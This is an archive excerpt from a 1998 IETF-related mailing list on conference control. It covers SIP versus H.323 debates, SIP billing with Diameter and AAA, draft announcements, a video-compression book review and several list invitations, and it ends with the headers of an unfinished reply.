Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eirik Maus wrote:

> The most killing fact is, of course, that H.323 has billing in place,
> whereas SIP does not. No service provider can live on delivering
> free services, making H.323 the only choice.
> The billing service of one major player I know of is based on
> gatekeeper routed signalling, and the local gatekeeper generating
> billing-events. It is a trivial task to build this in SIP,
> using a local proxy as "gatekeeper" and a firewall to prevent
> external calls not signalled through the proxy.

Eirik,

Nice comment! As for a potential billing support in SIP, here is a draft that uses Diameter to
keep track of accounting data for SIP sessions:

ftp://ftp.ietf.org/internet-drafts/draft-pan-diameter-sip-00.txt

Please take a look. It still needs a lot work.

One more thing, I thought that one of the major reasons that killed the ATM-everywhere
pipedream was due to its telco-style signaling protocols (Q.something....) thankfully. Cannot
people learn from the lesson? Sticking with something like H.323 may be nice initially. But as
more people start to hacking code on their PC's, it won't be up to telco people to tell the
users what to do with their IP phones in the future.

2 cents,

--
Ping Pan


From confctrl-owner  Thu Nov 12 14:32:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA15101
	for confctrl-outgoing; Thu, 12 Nov 1998 14:32:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA15085
	for <confctrl@zephyr.isi.edu>; Thu, 12 Nov 1998 14:32:03 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA02757;
	Thu, 12 Nov 1998 14:31:56 -0800 (PST)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id QAA29996; Thu, 12 Nov 1998 16:31:25 -0600 (CST)
Received: from sinnreich2 ([166.44.184.145]) by omta3.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19981112223124.TAUL649@sinnreich2>;
          Thu, 12 Nov 1998 16:31:24 -0600
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Mark Handley" <mjh@ISI.EDU>, "Eirik Maus" <eirikma@ifi.uio.no>
Cc: <confctrl@ISI.EDU>
Subject: RE: [Fwd: Re: What is the view towards H.323?] 
Date: Thu, 12 Nov 1998 16:31:11 -0600
Message-ID: <000a01be0e8c$26695480$91b82ca6@sinnreich2.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
Importance: Normal
In-Reply-To: <18175.910883041@north.lcs.mit.edu>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark wrote:
>ide what solutions, hybrid or otherwise, actually
> end up being used.  If a protocol can't do what's required of it, it
> will either get fixed or die.

It took a relative simple SIP server implementation to show, that from the
perspective of a service provider, SIP can support all the existing PSTN
calling features we tried. The main attraction of SIP however is in
providing mixt web and telephony services.

Henry

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Mark Handley
> Sent: Thursday, November 12, 1998 9:04 AM
> To: Eirik Maus
> Cc: confctrl@ISI.EDU
> Subject: Re: [Fwd: Re: What is the view towards H.323?]
>
>
>
> >>  What I am interested in is the view members of this list to
> the picture tha
> >t
> >>  might evolve in relation to SIP and h.323.
> >>
> >> 1. SIP has conceded to H.323
> >
> >The developers of the specification will have to speak for themselves.
> >I do, however, encourage them to continue working on SIP, as there
> >are a lot of reasons to create a better standard than H.323.
>
> I think I speak for all the SIP authors when I say we have every
> intention of continuing working on SIP.
>
> The market will decide what solutions, hybrid or otherwise, actually
> end up being used.  If a protocol can't do what's required of it, it
> will either get fixed or die.
>
> Cheers,
> 	Mark
>


From confctrl-owner  Fri Nov 13 00:53:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA20046
	for confctrl-outgoing; Fri, 13 Nov 1998 00:53:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA20041
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 00:53:55 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA15526
	for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 00:53:54 -0800 (PST)
Received: from hocus.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.03287-0@bells.cs.ucl.ac.uk>; Fri, 13 Nov 1998 08:53:48 +0000
to: confctrl@ISI.EDU
cc: rem-conf@es.net
cc: J.Crowcroft@cs.ucl.ac.uk
Subject: review of "Video Compression Techniques", by Effelsberg&Steinmetz
Date: Fri, 13 Nov 1998 08:53:47 +0100
Message-ID: <671.910947227@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


There is a new book pout called, plainly
"Video Compression Techniques", by Wolfgang Effelsberg
and RalfS Steinmetz, published by dpunkt (see www.dpunkt.de), 
ISBN 3-920993-13-6

The book is aimed at the general reader ratehr than the signal
processing or EE postdoctoral expert, and is a very good read. It
covers most of the material one would like to see, inclkuding a
general introduction to multimedia, data compression , detailed
compression techniques (interpolation, subsampling, run length, vector
quanitization, LZ, Huffman, Arithmetic, transcform, subband and
differential encoding, then specifics of particular still image
compression techniques followed by in depth coverage of MEG 1, 2, 4
and 7, and H.261, 263, and finally a quality, and performance analysis
of the various techniques and algorithms and parameter setting.

The book is accompanied by a CD with software to demonstrate a lot of
the ideas, There is a web site associated with the book with the
software and updates, and these are quite fun - the authors are very
acive researchers in this area, butr are also good educators, and I
foun the book easily the best introduction and overview of the topic,
as well as quite useful on some details I was hazy about. Happy
reading.

see
http://www.kom.e-technik.tu-darmstadt.de/Research/mmbook/
and follow links...  for applets etc....

From confctrl-owner  Fri Nov 13 01:41:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA21679
	for confctrl-outgoing; Fri, 13 Nov 1998 01:41:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA21669
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 01:41:02 -0800 (PST)
Received: from hermes.research.kpn.com (hermes.research.kpn.com [139.63.192.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA16711
	for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 01:40:58 -0800 (PST)
Received: from ntl11.research.kpn.com by research.kpn.com (PMDF V5.1-12 #D3149)
 with ESMTP id <01J44EMHAJE40009Y2@research.kpn.com> for confctrl@ISI.EDU; Fri,
 13 Nov 1998 10:40:46 +0100
Received: by ntl11.research.kpn.com with Internet Mail Service (5.5.2232.9)
 id <VPFTFS4K>; Fri, 13 Nov 1998 10:40:53 +0100
Content-return: allowed
Date: Fri, 13 Nov 1998 10:40:50 +0100
From: "Koenen, R.H." <R.H.Koenen@research.kpn.com>
Subject: RE: review of "Video Compression Techniques", by Effelsberg&Stein metz
To: "'Jon Crowcroft'" <J.Crowcroft@cs.ucl.ac.uk>, confctrl@ISI.EDU
Cc: rem-conf@es.net
Message-id: <802140B1D018D2118EB000A02461E5B67A6815@ntl11.research.kpn.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-type: text/plain; charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> There is a new book pout called, plainly
> "Video Compression Techniques", by Wolfgang Effelsberg
> and RalfS Steinmetz, published by dpunkt (see www.dpunkt.de), 
> ISBN 3-920993-13-6

Interesting book

[...]
> compression techniques followed by in depth coverage of MEG 1, 2, 4
> and 7, and H.261, 263, and finally a quality, and performance analysis
> of the various techniques and algorithms and parameter setting.

... MPEG-7 being the odd one out, as it isn't a compression technique
but a description intended to allow search and identification of
multimedia material. See http://www.cselt.it/mpeg

regards,
Rob

----------------
Rob Koenen, chairman MPEG Requirements Group
Multimedia Technology Group, KPN Research
PO Box 421, 2260 AK  Leidschendam The Netherlands
tel +31 70 332 5310    fax  +31 70 332 5567
GSM +31 653 815 686   


> The book is accompanied by a CD with software to demonstrate a lot of
> the ideas, There is a web site associated with the book with the
> software and updates, and these are quite fun - the authors are very
> acive researchers in this area, butr are also good educators, and I
> foun the book easily the best introduction and overview of the topic,
> as well as quite useful on some details I was hazy about. Happy
> reading.
> 
> see
> http://www.kom.e-technik.tu-darmstadt.de/Research/mmbook/
> and follow links...  for applets etc....
> 

From confctrl-owner  Fri Nov 13 02:34:38 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA23507
	for confctrl-outgoing; Fri, 13 Nov 1998 02:34:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA23502
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 02:34:36 -0800 (PST)
Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA17873
	for <confctrl@isi.edu>; Fri, 13 Nov 1998 02:34:35 -0800 (PST)
Received: from kaipara.live.com (kaipara.live.com [206.86.37.12])
	by proxy4.ba.best.com (8.9.0/8.9.0/best.out) with SMTP id CAA07675;
	Fri, 13 Nov 1998 02:32:35 -0800 (PST)
Message-Id: <3.0.5.16.19981113032450.2fbf8bd2@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Fri, 13 Nov 1998 03:24:50
To: rem-conf@es.net, confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: A "sdr" source-code patch for directory sessions
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FYI to those of you who use "sdr" as your SDP session browser:

I have developed a patch to the "sdr" source code that will allow "sdr" to
properly handle 'directory' SDP sessions (for instance, the "Test
Sessions", "Music", "Lectures and Seminars" directories that are currently
being announced).

In particular, when rebuilt with this patch, "sdr" can now be used to:
- launch a directory session, with each directory's contents appearing in a
new window
- create new session announcements (including directory session
announcements) within any directory

You can find this patch online at
	<http://www.live.com/sdrpatch.html>

(At the very least, I hope more people will start using the "Test Sessions"
directory for creating globally-visible test sessions.)

	Ross.



From confctrl-owner  Fri Nov 13 06:18:42 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA01941
	for confctrl-outgoing; Fri, 13 Nov 1998 06:18:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA01914;
	Fri, 13 Nov 1998 06:18:32 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA27091;
	Fri, 13 Nov 1998 06:18:28 -0800 (PST)
Received: from henry.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.15109-0@bells.cs.ucl.ac.uk>; Fri, 13 Nov 1998 14:18:08 +0000
X-Mailer: exmh version 1.6.9 8/22/96
To: rem-conf@es.net
cc: confctrl@ISI.EDU, int-serv@ISI.EDU, diff-serv-interest@BayNetworks.COM,
        mbone@ISI.EDU, end2end-interest@ISI.EDU
Subject: Interesting research..and book tokens
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 13 Nov 1998 14:18:05 +0000
Message-ID: <1323.910966685@cs.ucl.ac.uk>
From: Anna BOUCH <A.Bouch@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

There's a really interesting questionnaire that you can answer at:

http://www.cs.ucl.ac.uk/staff/A.Bouch/web_survey/

As an incentive for helping this research, you can also win 50 pounds of book 
tokens.

Very grateful for your help,


Anna

P.S Any constructive criticisms/queries are welcome


From confctrl-owner  Fri Nov 13 07:39:45 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA06200
	for confctrl-outgoing; Fri, 13 Nov 1998 07:39:45 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA06157;
	Fri, 13 Nov 1998 07:39:24 -0800 (PST)
Received: from e1.clubs.yahoo.com (e1.clubs.yahoo.com [204.71.200.156])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA00669;
	Fri, 13 Nov 1998 07:39:23 -0800 (PST)
Received: (from yahoo@localhost)
	by e1.clubs.yahoo.com (8.8.7/8.8.8) id HAA20233;
	Fri, 13 Nov 1998 07:38:47 -0800 (PST)
Date: Fri, 13 Nov 1998 07:38:47 -0800 (PST)
From: Yahoo! Clubs <clubsbot@yahoo-inc.com>
Message-Id: <199811131538.HAA20233@e1.clubs.yahoo.com>
To: confctrl@ISI.EDU, int-serv@ISI.EDU, diff-serv-interest@BayNetworks.COM,
        mbone@ISI.EDU, end2end-interest@ISI.EDU
Reply-To: ramiro_g@mailexcite.com
Subject: You're invited!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello!

You have been invited by elparto to join the listed 
Yahoo! Club named "Internet Telephony".

To become a member of this club, just go to the
Web address below:
http://edit.clubs.yahoo.com/config/sjg?.i=internettelephony&.a=i&

You need to go to the address above to join the club,
but you can take a look at the club by going to:
http://clubs.yahoo.com/clubs/internettelephony

You can learn more about elparto by
looking at the Yahoo! Public Profile:
http://profiles.yahoo.com/elparto

A Yahoo! Club is a great way to bring friends, family or
anyone you know together using the latest in Web
technologies. Club members are able to take advantage of
a club's private chat room, message boards and other
features. You can also create your own free club focused
on any interest, such as hobbies, families and industry
associations.

Clubs are either listed or unlisted. Listed clubs are
available to the public while unlisted clubs are
available exclusively to those who receive invitations.

If you have no interest in joining this club, there is
no need for you to do anything. You will not be
enrolled as a member.

Thanks,

The Yahoo! Clubs team
http://clubs.yahoo.com/


P.S. If you need some help on getting started, go to:

http://help.yahoo.com/help/clubs/


From confctrl-owner  Fri Nov 13 08:34:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA09935
	for confctrl-outgoing; Fri, 13 Nov 1998 08:34:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA09930
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 08:34:08 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA04587
	for <confctrl@isi.edu>; Fri, 13 Nov 1998 08:34:03 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Fri Nov 13 11:33:26 EST 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id LAA26857
	for <confctrl@isi.edu>; Fri, 13 Nov 1998 11:33:25 -0500 (EST)
Message-ID: <364C5EA3.7E53D3F7@dnrc.bell-labs.com>
Date: Fri, 13 Nov 1998 11:30:27 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Updated SIP draft
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

The authors of the SIP spec have collected all of the comments received
from individuals, and from Vern (our AD), and incorporated them into the
specification. As Mark indicated, we anticipate review of this version
at the next IESG call on Nov. 19th.

The changes to the draft were mostly editorial and clarifications. A few
things to note, however:

1. the reliability mechanisms now make use of exponential backoffs
2. authentication requires a client to generate SIP messages in a
canonical form
3. TCP proxies must be stateful

These, and other things, are marked by changebars in the PDF and PS
versions. I've submitted -10 to the archives, and you should receive an
announcement shortly. Until then, you can find a copy at:

http://www.cs.columbia.edu/~jdrosen/sip/drafts/draft-ietf-mmusic-sip-10.ps
http://www.cs.columbia.edu/~jdrosen/sip/drafts/draft-ietf-mmusic-sip-10.pdf
http://www.cs.columbia.edu/~jdrosen/sip/drafts/draft-ietf-mmusic-sip-10.txt

Thanks,
Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Nov 13 08:49:36 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA10930
	for confctrl-outgoing; Fri, 13 Nov 1998 08:49:36 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10925
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 08:49:34 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA05515
	for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 08:49:32 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA20524; Fri, 13 Nov 1998 11:49:18 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: Re: Updated SIP draft 
In-reply-to: Your message of "Fri, 13 Nov 1998 11:30:27 EST."
             <364C5EA3.7E53D3F7@dnrc.bell-labs.com> 
Date: Fri, 13 Nov 1998 11:49:18 -0500
Message-ID: <20522.910975758@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>The authors of the SIP spec have collected all of the comments received
>from individuals, and from Vern (our AD), and incorporated them into the
>specification.

I'd like to thank Jonathan for the huge amount of work he's done in
the last week or so integrating comments and achieving concensus
amongst the authors - a job well done!

Also I think we'd all like to thank Vern for his very careful
read-through of the document - I believe the specification is much
clearer as a result of his feedback.  I sincerely hope the other
members of the IESG think so too!

Cheers,
	Mark

From confctrl-owner  Fri Nov 13 09:42:47 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA14475
	for confctrl-outgoing; Fri, 13 Nov 1998 09:42:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA14470
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 09:42:44 -0800 (PST)
Received: from e2.clubs.yahoo.com (e2.clubs.yahoo.com [204.71.200.172])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA10136
	for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 09:42:43 -0800 (PST)
Received: (from yahoo@localhost)
	by e2.clubs.yahoo.com (8.8.7/8.8.8) id JAA13779;
	Fri, 13 Nov 1998 09:42:13 -0800 (PST)
Date: Fri, 13 Nov 1998 09:42:13 -0800 (PST)
From: Yahoo! Clubs <clubsbot@yahoo-inc.com>
Message-Id: <199811131742.JAA13779@e2.clubs.yahoo.com>
To: confctrl@ISI.EDU
Reply-To: ramiro_g@mailexcite.com
Subject: You're invited!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello!

You have been invited by elparto to join the listed 
Yahoo! Club named "Internet Telephony".

To become a member of this club, just go to the
Web address below:
http://edit.clubs.yahoo.com/config/sjg?.i=internettelephony&.a=i&

You need to go to the address above to join the club,
but you can take a look at the club by going to:
http://clubs.yahoo.com/clubs/internettelephony

You can learn more about elparto by
looking at the Yahoo! Public Profile:
http://profiles.yahoo.com/elparto

A Yahoo! Club is a great way to bring friends, family or
anyone you know together using the latest in Web
technologies. Club members are able to take advantage of
a club's private chat room, message boards and other
features. You can also create your own free club focused
on any interest, such as hobbies, families and industry
associations.

Clubs are either listed or unlisted. Listed clubs are
available to the public while unlisted clubs are
available exclusively to those who receive invitations.

If you have no interest in joining this club, there is
no need for you to do anything. You will not be
enrolled as a member.

Thanks,

The Yahoo! Clubs team
http://clubs.yahoo.com/


P.S. If you need some help on getting started, go to:

http://help.yahoo.com/help/clubs/


From confctrl-owner  Fri Nov 13 11:38:07 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA21048
	for confctrl-outgoing; Fri, 13 Nov 1998 11:38:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21043
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 11:38:05 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA21113
	for <confctrl@isi.edu>; Fri, 13 Nov 1998 11:38:02 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Fri Nov 13 14:36:57 EST 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id OAA05023;
	Fri, 13 Nov 1998 14:36:56 -0500 (EST)
Message-ID: <364C89A6.75455D28@dnrc.bell-labs.com>
Date: Fri, 13 Nov 1998 14:33:58 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU, list iptel <iptel@lists.research.bell-labs.com>,
        Ken.Coar@Golux.Com
Subject: SIP CGI
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

A new draft has been submitted to the IETF archives which may be of
interest to people on these lists. The draft is called "Common Gateway
Interface for SIP", and it describes a CGI for defining SIP-based
services, such as mobility, follow-me, call-forward-busy, etc. The draft
should be available from the archives shortly. In the mean time, you can
pick up a copy at:

http://www.cs.columbia.edu/~jdrosen/papers/draft-lennox-sip-cgi-00.txt
http://www.cs.columbia.edu/~jdrosen/papers/draft-lennox-sip-cgi-00.ps
http://www.cs.columbia.edu/~jdrosen/papers/draft-lennox-sip-cgi-00.pdf

Comments appreciated.

Thanks,
Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Nov 13 12:40:59 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA24353
	for confctrl-outgoing; Fri, 13 Nov 1998 12:40:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA24348
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 12:40:58 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA26245
	for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 12:40:57 -0800 (PST)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id OAA10471 for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 14:40:25 -0600 (CST)
Received: from dwillispc2 ([166.35.227.233]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19981113203647.LFTY9982@dwillispc2> for <confctrl@ISI.EDU>;
          Fri, 13 Nov 1998 14:36:47 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: "Conference Control List" <confctrl@ISI.EDU>
Subject: SIP billing ( was  Re: What is the view towards H.323?)
Date: Fri, 13 Nov 1998 14:35:13 -0600
Message-ID: <000601be0f45$1f291a20$72fdfea9@dwillispc2.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
In-reply-to: <364B581B.66D9F271@dnrc.bell-labs.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Ping Pan wrote:
>
> Eirik Maus wrote:
>
> > The most killing fact is, of course, that H.323 has billing
> in place,
> > whereas SIP does not. No service provider can live on delivering
> > free services, making H.323 the only choice.

> Nice comment! As for a potential billing support in SIP, here
> is a draft that uses Diameter to
> keep track of accounting data for SIP sessions:
> ftp://ftp.ietf.org/internet-drafts/draft-pan-diameter-sip-00.txt

Why can't service providers make a living providing (at a fixed cost)
access to "free services"? Do carriers do per HTTP-transfer billing now?
How much should they charge for an email? For a call, what parameters
might be used? Bandwidth, duration, distance -- the Big Factors of the
POTS bill -- are not issues that SIP is concerned with.

The real question: Is it even reasonable to presume billing for a
best-effort IP service betwen two nodes? I suggest not. If carriers were
to try, the end-users would just tunnel around the billable parts . . .

I suggest telco-style per-call billing driven completely from SIP is
therefore pointless. But the costs of some calls are incremental -- how
to recover them and make a reasonable presentation of it?

Perhaps the appropriate elements to support in a billing model are the
"value adds". These might include:

At the network level, bandwidth reserved for the call, the duration for
which it is reserved, and other quality issues. These matters are not
properly the province of SIP, but are handled through RSVP and
Differentiated Services models. Some sort of admission control to the
bandwidth management function is required, and that might be expected to
generate accounting records. It would seem that this is a basic AAA
function and that it requires some sort of business relationship between
the caller and the carrier or the callee and the carrier (or both). Of
course, in the interim, it can be handled using log files.

At the bearer channel (call) level, going through a gateway that
connects the SIP caller to the GSTN is certainly a chargeable feature --
after all, the call IS going to generate some sort of standard switch
CDR once it hits the egress switch. For this, of course, we need AAA --
again, with a business relationship. The same applies to other gateway
functions, such as firewall traversal. One could of course bill from
those CDRs. . .

Directory operations, such as SIP proxy lookups, might be chargeable
features. Of course, this can be performed using SIP-server logs, but
centralizing in a AAA system might be handy. The same applies to
manipulations of the directory, such as customer profile management.
Again, the log files could tell you everything needed to bill, but an
AAA approach would be nicer.

Other sorts of media operations, such as retrieving or storing voice
mail, transcoding a stream, etc. might be chargeable and require the
same basic AAA functions. These operations all produce log files . . .

Given all this, I suggest that while smooth AAA integration would be
helpful in building a seamless carrier delivery environment, that its
current lack does not preclude delivery of SIP services by a carrier.

With respect to "draft-pan-diameter-sip-00.txt" -- it's a start. Is it
really necessary to add DIAMETER into SIP, or could we just let each of
the "value add" function providers apply DIAMETER on its own, using the
SIP mechanisms for authentication source, then recording the transaction
using the "accounting" parts?

--
Dean Willis


From confctrl-owner  Fri Nov 13 14:24:09 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA29526
	for confctrl-outgoing; Fri, 13 Nov 1998 14:24:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA29521
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 14:24:08 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA04339
	for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 14:24:06 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Fri Nov 13 17:23:39 EST 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id RAA10705;
	Fri, 13 Nov 1998 17:23:39 -0500 (EST)
Message-ID: <364CB0B8.D21B7F15@dnrc.bell-labs.com>
Date: Fri, 13 Nov 1998 17:20:40 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: Conference Control List <confctrl@ISI.EDU>
Subject: Re: SIP billing ( was  Re: What is the view towards H.323?)
References: <000601be0f45$1f291a20$72fdfea9@dwillispc2.mcit.com>
Content-Type: text/plain; charset=us-ascii
